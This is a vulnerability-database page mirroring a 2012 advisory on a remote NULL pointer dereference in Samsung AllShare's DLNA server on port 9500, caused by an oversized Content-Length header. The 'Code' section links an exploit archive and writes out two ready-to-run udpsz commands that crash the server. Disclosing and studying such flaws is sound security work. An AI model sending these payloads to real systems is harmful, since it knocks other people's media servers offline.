Samsung AllShare 2.1.1.0 - Null Pointer Dereference

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1063884 漏洞类型
发布时间 2012-06-19 更新时间 2012-06-19
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19289
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#######################################################################

                             Luigi Auriemma

Application:  Samsung AllShare
              http://www.samsung.com/global/allshare/pcsw/
Versions:     <= 2.1.1.0
Platforms:    Windows
Bug:          NULL pointer
Exploitation: remote
Date:         18 Jun 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"The AllShare software enables your PC to run many AllShare services.
It can share videos, photos, and music between your PC and other
devices that support the AllShare service by using your local network
for streaming playback."


#######################################################################

======
2) Bug
======


The DLNA server listening on port 9500 can be crashed remotely due to
a NULL pointer dereference caused by the failed allocation of a big
amount of memory specified in Content-Length and the tentative of
copying data in this NULL buffer.

If Content-Length is between 4294967262 and 4294967293 the effect will
be an unhandled exception in MSVCR90.calloc.

The vulnerability is located in the lupin3 (libpin3) library.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/19289.zip

  udpsz -c "POST /DocumentViewer/Control/blah HTTP/1.1\r\nCONTENT-LENGTH: 2147483647\r\n\r\n" -T SERVER 9500 -1
or
  udpsz -c "POST /DocumentViewer/Control/blah HTTP/1.1\r\nCONTENT-LENGTH: 4294967293\r\n\r\n" -T SERVER 9500 -1



#######################################################################

======
4) Fix
======


No fix.


#######################################################################